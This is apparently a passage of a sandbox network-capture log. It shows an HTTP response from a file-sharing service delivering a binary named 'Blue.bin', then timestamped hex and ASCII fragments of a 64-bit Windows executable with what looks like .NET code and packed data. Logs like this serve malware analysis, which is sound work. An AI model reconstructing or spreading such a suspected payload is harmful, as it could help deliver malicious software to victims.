2023-01-25 08:44:47 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 25 Jan 2023 08:44:46 GMT Content-Length: 3162624 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="Blue.bin" Retry-After: Wed, 25 Jan 2023 09:44:48 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.10,102.129.143.10 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1674636288 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-01-25 08:44:47 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 84 52 d0 63 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 00 3a 30 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdRc"0:0 @ 0@
2023-01-25 08:44:47 UTC	17	IN	Data Raw: 0c 2c 03 16 2b 03 17 2b 00 3a 9d 00 00 00 00 16 13 0d 11 0d 39 74 00 00 00 00 2b 17 11 16 45 04 00 00 00 0b 00 00 00 20 00 00 00 2c 00 00 00 35 00 00 00 1f 19 28 1f 00 00 06 13 16 2b de 07 7b 74 00 00 04 11 0d 9a 75 24 00 00 02 13 0e 17 13 16 2b c9 11 0e 14 fe 03 13 0f 18 13 16 2b bd 11 0f 2c 08 19 13 16 2b b4 16 2b 03 17 2b 00 2d 16 07 7b 74 00 00 04 11 0d 02 11 0e 6f a5 00 00 06 28 6d 00 00 06 a2 00 11 0d 17 58 13 0d 11 0d 07 7b 74 00 00 04 8e 69 fe 04 13 10 11 10 2c 03 17 2b 03 16 2b 00 3a 6f ff ff ff 00 03 6f aa 00 00 06 13 11 11 11 2c 03 16 2b 03 17 2b 00 3a 9d 00 00 00 00 16 13 12 11 12 39 74 00 00 00 00 2b 17 11 17 45 04 00 00 00 0b 00 00 00 17 00 00 00 2c 00 00 00 35 00 00 00 1f 21 28 1f 00 00 06 13 17 2b de 11 13 14 fe 03 13 14 18 13 17 2b d2 03 Data Ascii: ,++:9t+E ,5(+{tu$++,+++-{to(mX{ti,++:oo,++:9t+E,5!(++
2023-01-25 08:44:47 UTC	33	IN	Data Raw: 13 07 11 07 02 8e 69 32 ba 2a 7a 73 fd 00 00 06 25 02 28 e6 00 00 06 7d a8 00 00 04 25 03 28 e6 00 00 06 7d a9 00 00 04 2a 00 13 30 04 00 d4 00 00 00 4a 00 00 11 00 02 8e 69 8d 32 00 00 02 0a 2b 1f 11 05 45 06 00 00 00 0b 00 00 00 18 00 00 00 25 00 00 00 2c 00 00 00 40 00 00 00 48 00 00 00 1f 24 28 0d 01 00 06 13 05 2b d6 16 0b 1f 23 28 0d 01 00 06 13 05 2b c9 12 03 fe 15 32 00 00 02 1b 13 05 2b bc 16 0c 1a 13 05 2b b5 02 08 8f 34 00 00 02 7b a3 00 00 04 16 31 5a 17 13 05 2b a1 08 2c 56 19 13 05 2b 99 2b 13 11 04 45 03 00 00 00 0b 00 00 00 19 00 00 00 2c 00 00 00 1f 29 28 0d 01 00 06 13 04 2b e2 12 03 08 d1 7d 9f 00 00 04 18 13 04 2b d4 12 03 02 08 a3 34 00 00 02 7d 9e 00 00 04 16 13 04 2b c1 06 07 25 17 58 0b 09 a4 32 00 00 02 08 17 58 0c 08 02 8e 69 32 Data Ascii: i2zs%(}%(}0Ji2+E%,@H$(+#(+2++4{1Z+,V++E,)(+}+4}+%X2Xi2
2023-01-25 08:44:47 UTC	49	IN	Data Raw: 63 fe 0e 04 00 38 2c fc ff ff d0 66 00 00 01 28 61 00 00 0a 72 02 06 00 70 fe 0c 01 00 28 8c 00 00 0a fe 0e 02 00 20 08 b6 76 ed 20 13 80 d0 e8 59 65 20 d0 49 ad 15 59 65 20 9d 67 d5 ea 61 20 03 00 00 00 63 20 27 c3 10 fe 59 fe 0e 04 00 38 e2 fb ff ff 20 d1 c1 5a 0c 20 57 3d 67 de 58 65 66 20 26 ff c1 ea 59 38 24 00 00 00 20 05 c8 45 f4 20 01 00 00 00 62 65 20 b1 d8 11 e0 61 66 20 48 b7 65 f7 58 20 05 00 00 00 62 38 00 00 00 00 3a 1c 00 00 00 d0 58 00 00 01 28 61 00 00 0a 72 02 06 00 70 fe 0c 01 00 28 8c 00 00 0a fe 0e 02 00 fe 0c 02 00 28 c8 00 00 0a 20 0f bd 6a b5 66 65 20 04 00 00 00 63 65 20 25 16 ae 16 59 20 f8 c1 04 12 58 8d 01 00 00 01 25 20 00 00 00 00 20 01 00 00 00 63 65 20 01 00 00 00 62 20 05 00 00 00 63 65 fe 0c 00 00 a2 25 20 38 65 52 32 66 Data Ascii: c8,f(arp( v Ye IYe ga c 'Y8 Z W=gXef &Y8$ E be af HeX b8:X(arp(( jfe ce %Y X% ce b ce% 8eR2f
2023-01-25 08:44:47 UTC	65	IN	Data Raw: 9e 7e e6 00 00 04 17 18 9e 7e e6 00 00 04 18 19 9e 7e e6 00 00 04 19 1a 9e 7e e6 00 00 04 1a 1b 9e 7e e6 00 00 04 1b 1d 9e 7e e6 00 00 04 1c 1f 09 9e 7e e6 00 00 04 1d 1f 0d 9e 7e e6 00 00 04 1e 1f 11 9e 7e e6 00 00 04 1f 09 1f 19 9e 7e e6 00 00 04 1f 0a 1f 21 9e 7e e6 00 00 04 1f 0b 1f 31 9e 7e e6 00 00 04 1f 0c 1f 41 9e 7e e6 00 00 04 1f 0d 1f 61 9e 7e e6 00 00 04 1f 0e 20 81 00 00 00 9e 7e e6 00 00 04 1f 0f 20 c1 00 00 00 9e 7e e6 00 00 04 1f 10 20 01 01 00 00 9e 7e e6 00 00 04 1f 11 20 81 01 00 00 9e 7e e6 00 00 04 1f 12 20 01 02 00 00 9e 7e e6 00 00 04 1f 13 20 01 03 00 00 9e 7e e6 00 00 04 1f 14 20 01 04 00 00 9e 7e e6 00 00 04 1f 15 20 01 06 00 00 9e 7e e6 00 00 04 1f 16 20 01 08 00 00 9e 7e e6 00 00 04 1f 17 20 01 0c 00 00 9e 7e e6 00 00 04 1f 18 Data Ascii: ~~~~~~~~~~!~1~A~a~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
2023-01-25 08:44:47 UTC	81	IN	Data Raw: d0 49 ce 9c 2f 02 9b a5 d9 a9 af 2b e4 4d 9e 59 6b d1 d0 b0 2d bd dc da 5c a6 18 68 3e 49 3a 60 47 e2 77 5f 9d f9 08 7d 0b a7 6b 66 44 95 c7 a5 ba 0a f0 d6 b2 8f 70 20 fc da c1 a1 2d 08 a7 98 c2 16 94 a2 eb 5e ed 24 b0 be 10 3e ca a2 50 95 22 58 62 2f b8 ef bb cc 29 6d b2 98 7c c8 d9 af ad 04 e1 86 9b 73 f4 56 4e d7 42 3e c6 60 b2 7d ba c3 e3 36 4f 7f d3 4f 7b f5 f6 a8 69 7d 05 37 a9 b6 56 a4 00 53 42 e8 51 a3 70 22 1c c8 f7 3f 3f 02 57 9d 0b 83 ff 80 4b f1 9f c4 a2 bb 9e 08 98 d4 4a 42 8f 9e 40 4c c0 aa 76 7a 8a 69 c3 30 c3 9c d4 75 39 9e fd 84 0e c7 54 91 2e 69 2b 77 13 c2 8b 8f f8 1f fb 7a e4 10 86 08 1a 61 3c fa d3 b9 92 d9 93 61 6d c9 0a e3 c9 a8 e6 33 4f 6f ab b6 d6 a4 bb ad 9f 33 34 3c 76 c2 6a 77 3c 79 c8 c0 91 82 94 7c a8 fe f2 42 9a b5 e4 b9 67 Data Ascii: I/+MYk-\h>I:`Gw_}kfDp -^$>P"Xb/)m\|sVNB>`}6OO{i}7VSBQp"??WKJB@Lvzi0u9T.i+wza<am3Oo34<vjw<y\|Bg
2023-01-25 08:44:47 UTC	97	IN	Data Raw: 4b 2d 7a 2b 27 1d 8d a9 b7 24 5c 3c 0f 9a 35 7b 95 a1 8d 88 52 45 e2 57 1c b1 5a f1 19 10 56 59 7c 86 4a 81 3e 9e 99 dc 2d 68 57 37 a2 3b 0b e8 57 9a 02 23 ec 87 74 31 7e 20 a9 48 b7 34 8c 4f 7d d9 dd 45 3e 27 01 99 e3 b2 84 d3 13 1e 74 78 5a 2a 23 84 8d 26 ec c6 a2 5d 02 07 91 66 22 76 99 83 f1 5f 4b e3 ea 5f 75 8d 47 db b7 4f 42 82 c2 b1 8d 5d 0b b7 0a ff b0 75 61 9b 4c 5f 36 d8 a0 24 13 fb 23 6c f4 27 ac bf 9f f4 5e c5 d4 2e dc 9c 99 3b 1b a4 bb ea 20 6e ca 9b b7 18 dc 8b c0 57 49 d5 6c 7e 24 bf b0 1e 51 ff 62 f9 c3 58 a5 cd 2e b1 93 f8 f9 d0 04 61 11 f9 86 0d 15 df 23 38 1f 96 dd 69 8c 03 47 8a d7 5b 9b fc b9 1e bf c8 39 54 02 be 7d b3 16 8c 1b 15 46 23 b2 74 4e 2f c3 f9 75 2f bd 47 28 10 38 63 2b b1 40 c1 09 ac ba 68 81 59 b1 70 e4 3a df 98 c0 0c 42 Data Ascii: K-z+'$\<5{REWZVY\|J>-hW7;W#t1~ H4O}E>'txZ*#&]f"v_K_uGOB]uaL_6$#l'^.; nWIl~$QbX.a#8iG[9T}F#tN/u/G(8c+@hYp:B
2023-01-25 08:44:47 UTC	113	IN	Data Raw: 30 c2 03 41 b3 67 c3 96 fe ee bc 4a 6d a9 72 21 5b 6e 91 5d 29 6a 3e ef 95 76 2f 28 37 1f 23 cf bd 3b 0f f8 25 ca 7a 42 92 3f e9 c9 c4 9e fe 54 99 d1 a7 a6 b7 43 27 77 b6 3b fb 21 54 ef b5 b5 c7 4e 09 59 41 5a 7d dd 59 06 6b c1 db 2e 81 3e 23 4f 7f 4f ae 22 ac 9c 63 07 57 b5 33 e3 f1 ea 22 07 90 72 3f cf b4 bf b9 09 dc 98 3c 5b fb b2 f5 76 c8 09 5b 01 dd 14 94 23 69 55 0f be fa a6 55 18 69 4b 78 16 8c e2 8b 05 3f a7 a0 76 77 d8 37 3c 2e 9f f9 82 91 98 96 22 9a 0f 41 0f 7e ef 75 d1 8b 81 0c f5 20 18 10 fb 02 2a 68 ce 8c 6a cf 61 f9 7f 94 c8 36 3b c6 d3 ea bf d7 22 e5 e5 57 66 72 1d 1c 95 2a 10 47 32 24 77 29 60 30 38 e5 2a 0f 4a 51 6a b7 f5 da 2b 35 3d c7 84 87 9e da c0 95 84 dd cf 72 75 e6 ad 57 0b cb 2a ad 65 14 65 15 16 1a 2b 38 a6 43 06 bb 96 5e 26 2f Data Ascii: 0AgJmr![n])j>v/(7#;%zB?TC'w;!TNYAZ}Yk.>#OO"cW3"r?<[v[#iUUiKx?vw7<."A~u hja6;"WfrG2$w)`08JQj+5=ruWee+8C^&/
2023-01-25 08:44:47 UTC	129	IN	Data Raw: be d5 98 3b b3 19 fb 06 83 86 c7 09 bf f3 3b 69 87 84 a9 be 04 6a 24 61 c6 d2 a4 76 42 4c e2 7b 3f 8e 58 e6 34 d6 16 e9 f3 d6 21 24 d8 cb e5 9f e1 18 2d 94 a6 44 1f 49 9a 84 33 ef d7 52 be c2 34 c2 7b b5 9a d4 fe fa c9 6b db 7d 4d 19 72 d8 25 aa ab 20 dd 50 78 b7 3a e6 f9 fb ea d3 ac 65 24 51 ef ec ca 50 32 8c 11 6e f8 9c cd be 67 27 82 07 31 cb 77 69 dd 5a 67 a1 4c 64 c9 6c ba 46 9b 41 9d 51 74 35 70 79 04 60 15 d9 5b 47 2f 35 1b 71 64 d3 84 1d c5 82 c6 88 e9 4f 27 b1 57 8d 94 e5 0c 54 fe ec be f3 75 89 37 c1 b0 4b 73 de 87 7b ba 20 b8 41 4a 74 34 c5 cb b7 80 db 52 fb b4 f4 2a d8 c0 16 01 98 36 d0 ca e9 cc 40 f0 23 c2 a0 77 1e 81 f1 00 78 a7 b5 aa 5e bc e4 37 0a ae 06 ec ef c5 64 ea 40 8b 7d 6b c6 68 0e 61 ed 4b a0 8b 47 b7 12 1d a1 87 da 3c b7 eb 89 ef Data Ascii: ;;ij$avBL{?X4!$-DI3R4{k}Mr% Px:e$QP2ng'1wiZgLdlFAQt5py`[G/5qdO'WTu7Ks{ AJt4R*6@#wx^7d@}khaKG<
2023-01-25 08:44:47 UTC	145	IN	Data Raw: 4e 7c ea 92 51 a6 3e 02 20 59 ca f4 50 e9 1d 7d 9a eb 62 3c 69 76 3d de a1 cc 64 c3 d8 92 23 ae e1 a9 82 a3 27 cf 9d 3d 99 b7 28 c1 66 f8 b9 0b 38 a7 39 a8 4e 5c 38 af 29 9d 00 cb b0 b7 36 36 55 94 46 c6 31 18 84 d9 80 06 dc 77 da dd f0 4c a9 3c 21 83 b7 17 08 6b 38 85 00 e6 25 df e0 6f 55 66 03 f4 85 2f e2 94 07 77 3b 97 77 d2 e7 29 ea 8a dc 3e 71 b2 67 c8 14 fa 81 73 80 79 62 91 28 3e 2d 48 d4 97 34 4e 32 00 0e 6b 46 76 f0 cd 93 6c 6a b8 fc 31 ce d9 4a 68 11 50 3d ec cf 2f 80 72 9d 20 11 37 37 a4 8c a2 be d5 8e 7b 7b 48 5e b2 59 52 23 a2 20 0b b0 e0 d8 f0 61 bf 15 9d 52 3e eb 4f 4b e6 d0 5c c0 95 20 7e 2e 0f 80 3e 92 09 8c 6f ec eb 6c 3c 77 d0 c9 18 1b 51 15 9d fe f3 86 f3 99 62 2f a2 12 e8 23 58 32 7d 8b c1 60 c8 ff a1 fc 6e 14 fd be 6c 2b fa 4a 6c a2 Data Ascii: N\|Q> YP}b<iv=d#'=(f89N\8)66UF1wL<!k8%oUf/w;w)>qgsyb(>-H4N2kFvlj1JhP=/r 77{{H^YR# aR>OK\ ~.>ol<wQb/#X2}`nl+Jl
2023-01-25 08:44:47 UTC	161	IN	Data Raw: d6 ba 9e c3 4b 73 92 d1 9c 04 f2 05 80 15 8d 0f c5 1b b1 e5 9b 03 99 dc 47 8c 3c e1 4e 7a dc 5b 09 9c 21 79 f4 df 8c 3f 5a 60 14 6b 9e 89 51 21 f6 ea 72 cb 80 1f 1c cf 5b f4 f4 21 e8 99 3a a0 a4 f1 ef ae 72 31 57 48 35 47 b8 b4 72 f2 5a 4f 07 ac 13 14 ba 25 20 07 d1 55 0b 01 72 71 8a 0a 1b c8 5d b9 fb 29 29 86 a7 be a4 f8 70 dc 66 d9 b3 6b 9a 34 f3 31 02 76 3e fe c0 a6 57 d5 34 33 7f 40 71 e0 bb f3 ec 2b 11 09 48 c3 6a 74 47 24 bf a2 17 f6 fa 82 84 f3 61 85 4c bc dc c7 c1 1e d0 ed 61 10 af 40 ba cc 4b 26 a7 0f af f8 fb d5 83 2c e9 3a 13 3b 22 6b fd fe 50 4f 52 5d 07 e1 9f f2 23 02 4e e8 26 36 a3 5d 7f a8 2f 27 63 1f 42 94 25 b6 32 f4 88 6d c6 50 8f 8c f1 7c e8 5d 81 21 10 6e de 3e 2a 94 98 3e 25 55 ba 37 f0 51 04 60 50 ab 0f e5 99 2b 6d 58 af 61 10 d6 d7 Data Ascii: KsG<Nz[!y?Z`kQ!r[!:r1WH5GrZO% Urq]))pfk41v>W43@q+HjtG$aLa@K&,:;"kPOR]#N&6]/'cB%2mP\|]!n>*>%U7Q`P+mXa
2023-01-25 08:44:47 UTC	177	IN	Data Raw: e7 20 71 3b 3e f4 b0 4a b0 6a c9 69 e1 0c ef 40 88 b0 87 2c f8 1b ff 6a 05 6c f6 49 cc 39 4d 9c 74 bb 40 83 4b 97 11 16 e6 9f 22 39 fc 97 3b 87 4b ba dc 4b 55 29 d6 6d 30 d4 3a b6 df 0f 15 2f 69 c2 05 81 1d 33 08 29 81 86 9b 34 af 0c 35 65 11 e2 be be 8e 9f d8 43 83 84 18 85 b9 c7 37 54 c6 68 ba 5e 48 64 a8 cd 64 21 ff e0 94 fb 87 7a df 62 65 b1 f0 6c 9d f8 33 9c b4 fe 0b ca 06 c7 c8 c0 5b fc 18 ea 90 42 2c ba 6d 81 bf b0 ee 54 f2 94 d9 21 86 46 18 a9 ea 99 55 0b 11 97 ed 21 01 4b 99 3d 86 1c 4f 7e 07 af 81 fc 30 a1 2e 19 06 a9 80 ae 57 fa 9e ce 0e d5 02 36 02 4d 7a 8d 3d f2 1b ca f2 d4 cb 91 2d af 99 57 fe ec 10 04 dc 6e 03 75 63 e5 13 86 58 3b 9d 76 cc 7b 5a 72 77 c4 75 8f 24 98 42 ee e8 ab 2b 79 a2 46 e1 30 cb ad 40 fd a2 41 1a 30 5c 83 11 b0 16 44 af Data Ascii: q;>Jji@,jlI9Mt@K"9;KKU)m0:/i3)45eC7Th^Hdd!zbel3[B,mT!FU!K=O~0.W6Mz=-WnucX;v{Zrwu$B+yF0@A0\D
2023-01-25 08:44:47 UTC	193	IN	Data Raw: fb a6 69 38 67 8d c6 9f b9 63 f1 88 5b 8a 10 21 02 4f 24 1e 91 4b c6 c4 da e1 60 1a 88 89 61 94 7a 81 72 c6 21 0d a3 0e da ff 19 06 0e 4f 97 05 b4 f2 a5 47 12 5f be 40 0a 9c 66 5f e3 d6 14 ed 04 64 4c 26 ec 89 c9 dd e1 ae 95 48 12 bb 4b 8f 54 8b 95 30 52 94 0d e9 2e b7 ec bc 0b 56 49 fe f9 30 12 4e 79 ad 81 5a b9 01 a6 0d 3a 38 4a 84 88 b1 ac 6c a4 5f 4f 12 4a 28 db 3b 5c 5d 43 29 36 be 36 b5 cd 72 d8 1c 6a 4a 7b 03 f8 2f f3 b4 c7 e2 64 27 11 e7 92 9c 04 53 b8 0c a0 00 a4 87 fc ae 53 6d 96 fb 4f a8 50 b0 2c d6 05 95 fc 5d 61 c5 dd a4 6e 88 89 fc b5 08 5b 9c d1 9c 8a 57 99 38 40 3b 6f 92 4a d5 00 04 ed 07 dd a0 5f b4 b1 45 76 c9 a1 d0 3a 7c f8 9e 98 1d 6c 9d 70 6b e9 87 38 6d 44 e7 bc 55 09 23 7e 25 5e 5d bb 7c a3 1a 07 ab c0 e2 b5 10 5e 1d 81 7d c7 5d 3f Data Ascii: i8gc[!O$K`azr!OG_@f_dL&HKT0R.VI0NyZ:8Jl_OJ(;\]C)66rjJ{/d'SSmOP,]an[W8@;oJ_Ev:\|lpk8mDU#~%^]\|^}]?
2023-01-25 08:44:47 UTC	209	IN	Data Raw: e6 29 0c c9 35 5c 57 c9 f5 e6 08 f4 94 c8 9f 1c ca fa bc 50 da 65 d8 ba 96 37 a8 00 ee 80 27 23 9d 7d 0a 43 8a d8 2d 2b 07 62 92 78 73 ba dc c9 ae e0 ab 1d 3f f7 65 be 23 14 22 fc aa ba 98 38 77 25 5e 38 57 81 46 b3 47 1b 3f f3 cc ef d2 54 05 3f a3 b9 1f 5b e4 fb e3 cb 31 fe e7 03 55 ff 9e 47 1d dd 32 b0 f9 32 03 7e d9 33 0c 20 eb 42 bf dd 81 d3 a9 a8 00 d1 f2 5b fa 53 2a 84 91 94 7e 07 59 90 52 cd f7 8c 97 af fd ab 20 dc 9f 3b 52 65 b6 72 91 bd f3 35 4e 83 2e 34 84 13 86 ee 4d 2e 64 dd d7 c0 fb c3 b0 cd aa 18 fc 30 2d be 33 4b 73 2d 03 72 8d ce b6 dd 7a 26 77 25 44 05 f9 5b fd d7 10 26 2d c4 a1 ee a4 0a 52 cd 76 3b 34 09 29 eb b2 23 35 f0 d0 69 6b 1d 02 cf 84 c2 78 64 ee 3f 13 50 cd 1e e9 e9 fe f1 9e 32 e0 44 6c 20 db b3 d4 df 17 28 8a b1 59 50 7b 37 69 Data Ascii: )5\WPe7'#}C-+bxs?e#"8w%^8WFG?T?[1UG22~3 B[S*~YR ;Rer5N.4M.d0-3Ks-rz&w%D[&-Rv;4)#5ikxd?P2Dl (YP{7i
2023-01-25 08:44:47 UTC	225	IN	Data Raw: d5 04 f6 df 5e 15 c4 21 5e 2f 18 e1 b3 67 d1 6a 1f 32 83 c0 b8 67 8e a9 5f a3 8a 44 cc b8 7d e5 02 f7 16 bc 98 99 8f 0a f0 b9 ac 22 73 00 c7 77 cd e7 d0 63 d7 22 4c ad ec cc d9 e7 ab 87 be 02 03 b1 a8 8b c4 a4 8d f4 93 8a 8d a1 56 78 52 40 64 b3 ee 1d ef 83 3c 68 ef 0b 05 8e 7f 57 1a f7 70 b0 84 15 14 c2 ed 8b 2e 1c 76 bd 7f ac 98 a2 83 1b e4 43 64 7b 70 2f 67 5c 52 6e 7a 38 6a 84 df ba f4 47 99 d4 25 d2 98 5f c5 74 bb 3e 0b d7 d1 ae bf 55 e1 16 b3 d2 29 09 3b 65 04 4e 6c e7 cc f5 c6 73 ec 21 1f 2a 9b a7 72 4b 96 f0 41 6f 80 66 c8 2b 5e 67 0b aa 44 7c 4e bb ea fa 2c ba 54 3f 81 40 68 43 90 7b 4d 45 aa 54 06 7b 00 ae 6d 19 d5 55 72 f2 a6 4c bb d3 ff d1 12 05 06 7e fc 13 4d 07 bb 15 89 7a dc 79 1e 85 ea 8b 30 61 a3 eb d2 2c 71 c0 3c 8e 10 b2 db e3 d8 23 05 Data Ascii: ^!^/gj2g_D}"swc"LVxR@d<hWp.vCd{p/g\Rnz8jG%_t>U);eNls!*rKAof+^gD\|N,T?@hC{MET{mUrL~Mzy0a,q<#
2023-01-25 08:44:47 UTC	241	IN	Data Raw: 2d a0 52 e5 e5 42 30 51 82 86 c7 8a e8 61 71 28 6e ee 99 45 45 e4 91 08 9c f4 ca bd e8 d5 d7 1d f9 8e e2 d5 37 9b 27 f4 3a b8 da 46 3c 87 02 70 74 76 56 85 cd d7 11 8d 14 1d 68 30 e3 c2 6a c4 12 5e af 79 4a 93 d9 ba 29 12 a3 6d bb d1 cb 08 5b 93 a5 7a 56 7d ab 4c ce 2a 45 3d a7 a9 36 2a e1 00 13 54 4b 1a bd 41 00 cb 57 cf 56 1c 1b 91 ab 9b 67 ec c5 61 7c 66 a6 50 c0 48 57 a7 aa d0 f5 ba 78 37 d5 c9 07 71 29 ca cb 47 a7 f7 e7 54 cd 12 68 eb b4 ba b4 9b 47 f3 9a 37 e8 c7 74 91 97 c1 eb 8f f8 d9 d9 47 13 8f ee 98 8a 90 05 8a 0f 04 9c bf c3 4f fd 31 fc 81 3c c0 f8 b0 12 1c 43 ea 68 8c 91 61 f2 7f 06 a5 f0 09 60 c4 49 79 fa 07 45 8d 5c b7 71 bd d1 4e 30 9f a7 c5 ed ac 87 fd 01 51 22 39 0d 11 ab 8c ae d0 03 e4 3c 75 4a 7c 59 f7 08 cd 10 8f 2e 83 36 5e 8c 3c b0 Data Ascii: -RB0Qaq(nEE7':F<ptvVh0j^yJ)m[zV}LE=6TKAWVga\|fPHWx7q)GThG7tGO1<Cha`IyE\qN0Q"9<uJ\|Y.6^<
2023-01-25 08:44:47 UTC	257	IN	Data Raw: 4b 61 87 79 89 e9 54 33 5c 37 6a 7c 35 27 fa af 83 92 64 fe d7 b4 b7 bb fa fd a6 4e d8 f8 3a 26 56 5a 7d 77 64 cf fa 88 e6 4c 94 1b 48 04 25 ce 97 b3 a4 fa 2c 9e 79 4a bb 5e f0 3b e3 05 c3 b2 02 2b 3e 61 46 e4 db 8d c2 e6 e8 cb 4d 38 25 60 17 43 64 34 d9 b8 4a 03 8f 41 18 32 a1 ff b2 39 8b 46 14 6c 60 a7 6d 4f 5d d1 50 93 e0 18 8f 07 a9 06 80 fa fc a0 43 e4 0f 63 d9 63 c5 3d d7 51 53 60 f8 38 1b ed 8d 21 4b 4b 74 f4 7c 6a 91 6f 9f fe 67 8a e0 4b 49 c1 7d c5 65 e7 a3 bb 71 23 5b bf a3 74 60 26 dc 3c 4d 3d 1e 46 eb ec 55 9e a5 26 89 44 4d 86 ac f9 dd 6f 45 5d e7 0c 8a da c3 d8 9a 16 34 72 36 d9 21 b4 e5 54 fa 99 55 3b 2a ee ac bf 5c d1 35 54 d9 8c 59 be ed 67 8d d3 a7 24 36 c2 b0 e5 cc 2f b0 84 c5 20 8f 23 6f a0 a8 7d 1b cd 31 ba f6 d3 6b 3e 55 75 12 45 ce Data Ascii: KayT3\7j\|5'dN:&VZ}wdLH%,yJ^;+>aFM8%`Cd4JA29Fl`mO]PCcc=QS`8!KKt\|jogKI}eq#[t`&<M=FU&DMoE]4r6!TU;*\5TYg$6/ #o}1k>UuE
2023-01-25 08:44:47 UTC	273	IN	Data Raw: 5e d4 8d ae 7a f9 c6 5d d0 30 4d af 94 29 39 c6 be 1c 47 33 d0 99 e5 fb 8e cd c3 60 49 1f a0 e8 eb 8b 70 af 57 bd 33 5e 94 6e ad 42 eb a9 3b 62 5f 7f ee df 6a f2 41 8b f8 52 4d 8d 98 47 73 ec 47 e0 17 84 74 69 ea f8 ce aa 1a b6 09 c9 f0 0e ff fc ba a1 e5 4b 60 f7 8e 1a 1b f5 ed ec 73 d6 68 b9 73 c6 9a d9 3f 85 b1 b8 77 bc 18 bc da 51 98 83 50 24 48 3f 56 e1 4c 78 b2 5c 0f 6d b4 49 8c 46 3e 1d 9b 8b 2d 0a 04 79 a5 6d 3f 44 72 a3 9f 96 0a ff a4 7d a6 f6 3d ff 58 1a 88 94 37 20 39 fa 7b 1c 23 e0 c2 4e 46 95 68 85 1c 61 17 1f 29 83 be d8 67 93 dc 30 36 31 be d6 a4 46 a6 8f b8 9f 60 cf 8c da e4 e8 3c 8a 8b 7f d7 24 93 c4 2d 09 14 83 f7 2d 08 06 0e 53 b1 e9 c9 ef c7 ee 6a 1e 31 98 a7 33 a6 f9 ce 33 8a 6a d7 5f 71 63 35 d0 b8 1a 4d 34 dc ff d4 b5 9d 38 ea 49 7c Data Ascii: ^z]0M)9G3`IpW3^nB;b_jARMGsGtiK`shs?wQP$H?VLx\mIF>-ym?Dr}=X7 9{#NFha)g061F`<$--Sj133j_qc5M48I\|
2023-01-25 08:44:47 UTC	289	IN	Data Raw: 0e 67 79 b8 13 89 69 fb 4d 48 40 04 41 7f d2 7b ac b9 c8 13 e5 ad aa 82 af 9c 23 d6 89 e7 5b 03 e1 76 ce 8a 58 7f 97 74 88 ad 9e 1a df d7 45 45 79 42 79 26 8c 2d e3 07 47 53 6c 46 39 bf d0 ff 84 9d 18 a5 d5 d2 a4 e8 97 98 74 87 a3 04 5c 2e d6 a5 16 03 0a 0b 49 89 c9 f0 cc 71 db 56 6c 90 3f d6 f1 44 f5 2a 55 18 35 07 1d 5c b5 3e 8e 39 98 9c 8f e0 53 5f dd 85 ac 07 0b 73 23 1c 01 fd 70 bd 6b cc ee c2 b7 5a 54 3c 88 68 65 c5 fd c0 ed 86 3e e8 3e ae 3a 5c a0 17 d3 a9 cc d5 3e 0e 38 52 9f 59 2c b8 dd d1 2b b8 a4 b6 cf f0 12 c8 15 80 58 a1 7f 86 73 82 a9 6c 69 7d d2 b9 84 ed 43 a7 a2 b4 f3 e4 34 38 1a f5 b4 c2 6c 1d e7 9a 07 24 48 40 4a dc d6 a2 0d a6 2d 90 1c 09 77 20 6a 3b bd 77 25 56 fb 03 af d5 9d 96 5e 88 c9 21 64 e5 47 9a be d3 68 49 f6 37 8a 33 66 30 aa Data Ascii: gyiMH@A{#[vXtEEyBy&-GSlF9t\.IqVl?D*U5\>9S_s#pkZT<he>>:\>8RY,+Xsli}C48l$H@J-w j;w%V^!dGhI73f0
2023-01-25 08:44:47 UTC	305	IN	Data Raw: eb 22 78 9b dc 83 33 33 4d 66 5f a3 c9 d1 b2 0c e9 4c dc 1d a9 78 01 fd 71 5a 4b 91 45 3e 76 af 56 93 51 58 6a d5 5e f4 62 26 14 12 59 45 e3 5d 21 02 56 25 73 16 72 5e 9b 97 0a 01 73 cd 2b 04 a2 85 50 43 f4 4e 7c df 01 e9 3a a3 b9 ca fb 3f 28 19 38 7b e6 c9 0a ff 4c 15 e1 bc bb 5c 60 15 30 57 14 a0 64 bb c8 da b9 a0 4c cb 23 10 9d 79 08 ae ee 86 9c 4c 5c 40 2a e3 10 9a a0 78 28 3c 0f 99 e1 8b 35 c6 ef ff d9 05 64 c7 b9 37 09 29 ed c4 84 56 4d 9d 37 a3 51 5f b8 bb 55 27 37 aa e9 86 6a b2 51 fd 7b 04 0a 24 56 a2 33 fa 5c d9 4d d6 fc 67 92 1e 73 2b 2b 49 d3 f3 7a 21 29 6b f2 c4 8d b4 51 bb db 54 4c ad ce dc 39 f6 77 b8 74 ea b1 c6 11 8e 2d 8d ff 47 b9 e8 c5 81 52 f4 76 12 3a da 2b d3 5c 62 63 15 f4 53 16 82 97 c1 8e a3 8f c9 3d 5f 83 a5 47 7e 75 f2 8a d1 1c Data Ascii: "x33Mf_LxqZKE>vVQXj^b&YE]!V%sr^s+PCN\|:?(8{L\`0WdL#yL\@*x(<5d7)VM7Q_U'7jQ{$V3\Mgs++Iz!)kQTL9wt-GRv:+\bcS=_G~u
